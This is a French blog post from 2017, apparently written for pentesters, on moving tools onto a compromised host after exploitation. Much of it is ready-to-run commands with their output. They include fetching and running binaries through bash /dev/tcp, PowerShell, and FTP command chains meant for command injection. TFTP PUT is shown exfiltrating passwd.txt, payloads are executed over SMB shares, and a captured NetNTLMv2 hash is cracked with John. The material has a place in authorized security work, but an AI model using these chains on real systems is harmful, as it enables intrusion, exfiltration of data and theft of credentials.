vendredi 7 juillet 2017

Transfert de fichiers en post-exploitation


La problématique du transfert en pentest

Lors d'un pentest, après une compromission réussie, la première tâche concerne l'upload d'outils pour commencer la phase de post-exploitation. L'auditeur cherche à augmenter ses privilèges ou effectuer un mouvement latéral (pivoting).

Une exploitation peut résulter en la simple possession d'un shell avec des droits restreints et parfois un environnement austère. Dans ce cas, il devient nécessaire de pouvoir installer quelques outils indispensables pour consolider l'accès distant.

Transfert en HTTP

Le téléchargement de fichiers via HTTP permet de contourner de nombreuses règles de filtrage et reste malgré tout assez simple. Cela peut être réalisé en ligne de commande.

Démarrage du serveur Web

Habituellement, depuis un PC Linux avec Kali ou Backbox, le plus simple est d'utiliser un serveur Web en python. Pour des besoins plus spécifiques, apache (ou un autre serveur Web) peut devenir incontournable.

Pour servir des fichiers avec Apache, il faut les copier dans le répertoire WEBROOT  /var/www/html puis activer le service Apache. Apache est installé par défaut sur de nombreux systèmes UNIX :

$ sudo cp prog.exe /var/www/html
$ sudo service apache2 start

L'autre option consiste à simplement démarrer un serveur Web python directement dans le répertoire contenant les fichiers à uploader. Cela nécessite une seule ligne de commande grâce au module SimpleHTTPServer de Python:

$ sudo python -m SimpleHTTPServer 80 
Serving HTTP on 0.0.0.0 port 80 ...

Par défaut, il sert sur le port 8000, mais le port peut être spécifié en argument.

Téléchargement des fichiers avec des outils standards

Il faut simplement accéder à l'URL http://<server>/<filename> avec un navigateur ou un utilitaire de download en HTTP (wgetcurl, ...).

$ wget http: //kali/prog.exe
$ curl http://kali/prog.exe > p.exe
$ file p.exe
p.exe: PE32+ executable (console) x86-64, for MS Windows 


Téléchargement en HTTP avec bash

Lorsque le shell bash est compilé avec le support du pseudo périphérique /dev/tcp, il est possible de faire des transfert HTTP depuis le shell en ouvrant un descripteur de fichier en lecture/écriture :

Association du descripteur 3 à l'URL http://192.168.1.28
$ exec 3<>/dev/tcp/192.168.1.28/80

GET http://192.168.1.28/pgm
$ echo -e "GET /pgm HTTP/1.1\r\nhost: http://pentest\r\nConnection: close\r\n\r\n" >&3

Ecriture sur du binaire dans un fichier :
$ cat <&3 > pgm

Suppression du header HTTP
hd -n 16 pgm          
00000000  48 54 54 50 2f 31 2e 30  20 32 30 30 20 4f 4b 0d  |HTTP/1.0 200 OK.|
00000010
hd -s 202 -n 16 pgm  
000000ca  7f 45 4c 46 02 01 01 00  00 00 00 00 00 00 00 00  |.ELF............|
000000da

tail -c +203  pgm > pgm.elf  
file pgm.elf  
pgm.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.
so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8cccb424c52c7c54cc8e2da4df3505c98a0ffb0b, not stripped
chmod +x pgm.elf && ./pgm.elf 
You have been hacked!

Téléchargement en HTTP avec powershell

Avec un accès en ligne de commande (via un shell), le téléchargement via HTTP est un peu plus délicat sous Windows car les outils UNIX comme curl ou wget ne sont quasiment jamais présents. Dans ce cas, la meilleure option est d'utiliser l'objet WebClient depuis le shell PowerShell :

C:\> powershell -c "(new-object System.Net.WebClient).DownloadFile('http://192.168.1.50/prog.exe','C:\Users\user\Desktop\prog.exe')"


Transfert en FTP

Une autre méthode pour transférer des fichiers est d'utiliser le protocole FTP. Windows dispose d'un client FTP par défaut. Cette méthode devrait presque toujours fonctionner sous réserve qu'aucune politique de filtrage ne l'empêche.

Démarrage du serveur FTP

Il n'est pas nécessaire d'installer un serveur FTP. Un simple serveur FTP en python ou bien Metasploit suffit. 

FTP en Python

La bibliothèque pytftpd à l'image du serveur Web ci-dessus permet d'exécuter un serveur FTP en une seule ligne de commande. Il faut au préalable installer la librairie :

$ sudo apt-get install python-pyftpdlib



Il faut lancer le serveur FTP depuis le répertoire contenant les fichiers. Par défaut, le port est 2121 avec une authentification anonyme. Pour écouter sur le port standard il faut utiliser l'argument -p 21 :

sudo python -m pyftpdlib -p 21 
[I 17-07-07 10:20:47] >>> starting FTP server on 0.0.0.0:21, pid=22054 <<<
[I 17-07-07 10:20:47] poller: <class 'pyftpdlib.ioloop.Epoll'>
[I 17-07-07 10:20:47] masquerade (NAT) address: None
[I 17-07-07 10:20:47] passive ports: None
[I 17-07-07 10:20:47] use sendfile(2): True

L'avantage de FTP est la possibilité d'exfiltration. Les fichiers peuvent être transférés dans les deux sens avec l'argument (-w). L'inconvénient est que le client ftp de Windows ne supporte pas le mode passif, ce qui ne permet pas de l'utiliser lorsqu'il y a de la NAT entre le client et le serveur.

FTP avec Metasploit 

Il existe également un serveur FTP auxiliaire intégré à Metasploit qui est facile à déployer et à configurer. Il est situé dans auxiliary/server/ftp. Il faut positionner la variable FTPROOT sur le répertoire contenant les fichiers :

sudo msfconsole
msf> use auxiliary/server/ftp
msf auxiliary(ftp) > set FTPROOT /tmp
FTPROOT => /tmp
msf auxiliary(ftp) > exploit
[*] Auxiliary module execution completed
[*] Server started.

Le serveur est lancé en arrière-plan. Pour l'arrêter, il faut utiliser la commande jobs avec l’identifiant en argument du flag -k.  

msf auxiliary(ftp) > jobs
msf auxiliary(ftp) > jobs –k <id>

Client FTP

Les clients disponibles sous UNIX sont nombreux (wget, curl, ...) et sont principalement les mêmes que ceux utilisés pour un transfert HTTP. Seul le nom du protocole change.

$ wget ftp://kali/prog.exe
$ curl ftp://kali/prog.exe -o p.exe


Dans le cas où l'exploit consiste en une injection de commande, l'implémentation du FTP de Windows peut prendre un script de commandes pour établir une connexion anonyme directement à partir de la ligne de commande en spécifiant les arguments -A -s <cmdfile>. Il faut donc construire le fichier de commande FTP, invoquer le client FTP puis l’exécutable uploadé en une seule commande. 

Voici un exemple avec en rouge le résultat de l'exécution de prog.exe :

C:> echo open 192.168.1.28 > ftp.cmd & echo binary >> ftp.cmd & echo get prog.exe >> ftp.cmd & echo quit >> ftp.cmd & ftp.exe -A -s:ftp.cmd & prog.exe
ftp> open 192.168.1.28
Connecté à 192.168.1.28.
220 pyftpdlib 1.4.0 ready.
331 Username ok, send password.
230 Login successful.
Ouverture de session anonyme en tant que User@LAB-W7
ftp> binary
200 Type set to: Binary.
ftp> get prog.exe
200 Active data connection established.
125 Data connection already open. Transfer starting.
226 Transfer complete.
ftp : 384685 octets reçus en 0,00 secondes à 384685000,00 Ko/s.
ftp> quit
221 Goodbye.
Hello world!

Exemple avec le client ftp sou Linux
$ echo -e "quote USER anonymous\nquote PASS password\nbinary\nget prog.exe\nquit\n" > ftp.cmd &
& ftp -i -n 192.168.1.50 < ftp.cmd && chmod +x prog.exe && ./prog.exe
Hello world!

Certain client Windows ne possède pas le commutateur -A (anonynous), la syntaxe requiert une identification anonyme : 

C:\> echo open 192.168.1.28 > ftp.cmd & echo anonymous >> ftp.cmd & echo pass >> ftp.cmd & echo binary >> ftp.cmd & echo get prog.exe >> ftp.cmd & echo quit >> ftp.cmd & ftp.exe -s:ftp.cmd & prog.exe


Transfert en TFTP

Le protocole TFTP offre une alternative lorsque tftp est installé sur le système. Auparavant, il était installé par défaut dans Windows XP, mais il doit maintenant être activé manuellement sur les versions récentes de Windows. Si le système Windows possède un client tftp cela permet d’uploader ou d'exfiltrer des fichiers en une seule commande.

Démarrage du serveur TFTP

Kali est livré avec le serveur TFTP atftpd, qui peut être démarré avec la commande  :

$ service atftpd start

TFTP en Python

Un serveur TFTP en python peut être démarré avec :

$ sudo apt-get install python-tftpy
$ sudo python TFTPSimpleServer.py /tmp 69
[*] Starting TFTP listen on port 69 /tmp

Code source de TFTPSimpleServer.py

$ cat TFTPSimpleServer.py  
#!/usr/bin/env python

import tftpy
import sys

usage = "Usage: %s <rootdir> <port>\n\tdefault port 69 and rootdir \'/tmp\'" % (sys.argv[0])

port = 69
rootdir = "/tmp"
host = "0.0.0.0"

def tftpd(host, port, rootdir):
   try:
       print "[*] Starting TFTP listen on port %d %s" % (port, rootdir)  
       server = tftpy.TftpServer(rootdir)
       server.listen(host, port)
   except Exception, e:
       print "[-] TFTPD failed on %d %s " % (port, rootdir)

if len(sys.argv) == 3:
   port = int(sys.argv[2])
if len(sys.argv) >= 2:
   rootdir = sys.argv[1]
   if sys.argv[1] == "-h" or sys.argv[1] == "--help":
      sys.exit(usage)

tftpd(host, port, rootdir)

TFTP avec Metasploit

Metasploit possède un module serveur TFTP dans auxiliary/server/tftp. Il faut définir les options du module avec la variable TFTPROOT qui détermine le répertoire.

sudo msfconsole
msf> use auxiliary/server/tftp
msf auxiliary(tftp) > set TFTPROOT /tmp
TFTPROOT => /tmp
msf auxiliary(tftp) > exploit
[*] Auxiliary module execution completed
[*] Starting TFTP server on 0.0.0.0:69…
[*] Uploaded files will be saved in /tmp

Client TFTP

En supposant que le client tftp est présent sur la cible Windows ou Linux, il est possible de télécharger un fichier sur la cible. TFTP ne nécessite aucune authentification, il suffit simplement d'utiliser l'indicateur -i et l'action GET.

C: \> tftp -i 192.168.1.28 GET prog.exe


Pour exfiltrer les fichiers via TFTP il faut utiliser l'action PUT.

C: \> tftp -i 192.168.1.28 PUT passwd.txt


Busybox est un jeu de commande POSIX pour système embarqué. Il est souvent compilé avec le support du client tftp. Il est quasi systématique sur une palteforme embarquée disposant d'un noyau Linux. Il est même présent sur certaines distributions Linux standard. Pour un téléchargement, il faut utiliser les options get (-g) du fichier remote (-r <file>) en spécifiant le serveur et le port :

$ busybox tftp -g -r prog.exe 192.168.1.28 69
prog.exe             100% ***********************************************|     1   0:00:00 ETA


TFTP est un moyen pratique et simple de transférer des fichiers car il ne nécessite pas d'authentification et une simple commande en ligne est suffisante.

Transfert en SMB

Le protocole SMB est le protocole à privilégier pour transférer un fichier vers une cible Windows. SMB ne nécessite aucune commande spéciale car les commandes Windows supportent nativement les noms de fichiers UNC. Ainsi, il suffit d'utiliser les commandes standard avec des chemins UNC et Windows gère le transfert de fichier ou l'action. La cerise sur le gâteau est que Windows supporte l'exécution de fichiers comportant un chemin en notation UNC. En conséquence, il est possible de télécharger et d'exécuter une charge utile avec une simple commande en ligne.

Démarrage d'un serveur SMB

Si SMB ou Samba est installé sur le système du pentester, alors il est possible de l'utiliser, mais l'intérêt est d'utiliser des serveurs plus légers et simples qui acceptent n'importe qu'elle authentification et servent ou acceptent des fichiers.

Un tel serveur existe en Pyhton/ il s'agit de smbserver.py appartenant au projet Impacket https://github.com/CoreSecurity/impacket.

Installation smbserver.py

Depuis github :

$ wget https://github.com/CoreSecurity/impacket/releases/download/impacket_0_9_15/impacket-0.9.15.tar.gz
$ tar xvf impacket-0.9.15.tar.gz
$ cd impacket-0.9.15/
$ sudo python setup.py install

Pour lancer un serveur SMB sur le port 445, il suffit de spécifier un nom de partage et le chemin du répertoire à partager:

$ sudo smbserver.py <shareName> <sharePath>
$ sudo smbserver.py SERVER /tmp

Le script python ne requiert pas de configuration particulière, il écoute sur le port TCP 445 et accepte toute authentification. De surcroît, il affiche les hashs en réponse au challenge pour tous les systèmes se connectant. 

Voici un test depuis un système Windows :

C:\> net view \\192.168.1.28
Ressources partagées de \\192.168.1.28

(null)

Nom du partage  Type    Utilisé comme  Commentaire

----------------------------------------------------------
SERVER          Disque
La commande s'est terminée correctement.


Le partage SERVER peut être utilisé avec les commandes usuelles dir, copy, etc. tout fonctionne simplement :

C:\> dir \\192.168.1.28\SERVER\disk
 Le volume dans le lecteur \\192.168.1.28\SERVER n'a pas de nom.
 Le numéro de série du volume est ABCD-EFAA

 Répertoire de \\192.168.1.28\SERVER\disk

07/07/2017  15:17    <REP>          .
07/07/2017  15:17    <REP>          ..
07/07/2017  15:17           384 685 prog.exe
               1 fichier(s)          401 069 octets
               2 Rép(s)  15 207 469 056 octets libres

Exécution du programme sur le serveur depuis le client Windows

C:\> \\192.168.1.28\SERVER\disk\prog.exe
Hello world!

Copie d'un fichier et exécution

C:\> copy \\192.168.1.28\SERVER\disk\prog.exe . & prog.exe
        1 fichier(s) copié(s).
Hello world!

Cassage du hash NTLMv2

L'affichage produit côté serveur (smbserver.py) affiche à chaque accès au partage le hash NetNTLMv2 pour l'utilisateur de Windows. Ces hashs peuvent être cassés avec John ou Hashcat.

En copiant le hash dans un fichier :

$ cat hash.txt 
Pascal::LAB-W7:4141414141414141:aad022226b5746cbf314f7a29ae9dc06:010100000000000000c2611424f7d201f831165d0e88b42300000000010010007000730046004d006a00620043006a00020010006f00670053007900520071006f006400030010007000730046004d006a00620043006a00040010006f00670053007900520071006f0064000700080000c2611424f7d201060004000200000008003000300000000000000001000000002000003e4e2b90830b798c79fd20be87a68a0939207e76f09534261f3f0271ef92fd4a0a001000000000000000000000000000000000000900220063006900660073002f003100390032002e003100360038002e0031002e0032003800000000000000000000000000


Puis on lance john avec le cryptosystème NTLMv2

john --format=netntlmv2 /tmp/hash.txt  
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
pascal           (Pascal)
1g 0:00:00:00 DONE 1/3 (2017-07-07 15:34) 2.083g/s 116.6p/s 116.6c/s 116.6C/s W7pascal..pascal
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Transfert hexa par copier/coller

L'idée est de profiter d'un shell obtenu sur la cible pour télécharger un exécutable en le copiant dans un fichier via un format texte hexadécimal. Pour cela un éditeur de texte fait l'affaire. Ensuite, une conversion en binaire avec application des droits d'exécution  permet d'exécuter le programme sur la cible.

Format ELF sour Linux

Conversion en hexa d'un fichier ELF :

attacker$ xxd -p pgm 
7f454c4602010100000000000000000002003e0001000000300440000000
00004000000000000000d819000000000000000000004000380009004000
1f001c000600000005000000400000000000000040004000000000004000
[...]
80000000000000018000000000000000900000003000000000000000000
00000000000000000000b816000000000000120200000000000000000000
0000000001000000000000000000000000000000


Copier/coller dans un éditeur sur la cible

victim$ vim hex
[...]<insert> + copier/coller

Conversion en binaire, ajout droit d'exécution et lancement du programme :

victim$ xxd -r -p hex > bin && file bin
bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8cccb424c52c7c54cc8e2da4df3505c98a0ffb0b, not stripped
victim$ chmod +x bin && ./bin
You have been hacked!



A faire 

Documentation pour des serveurs
  •  HTTPS en Python
  • Serveur syslog
  •  ncat et netcat 



Aucun commentaire:

Enregistrer un commentaire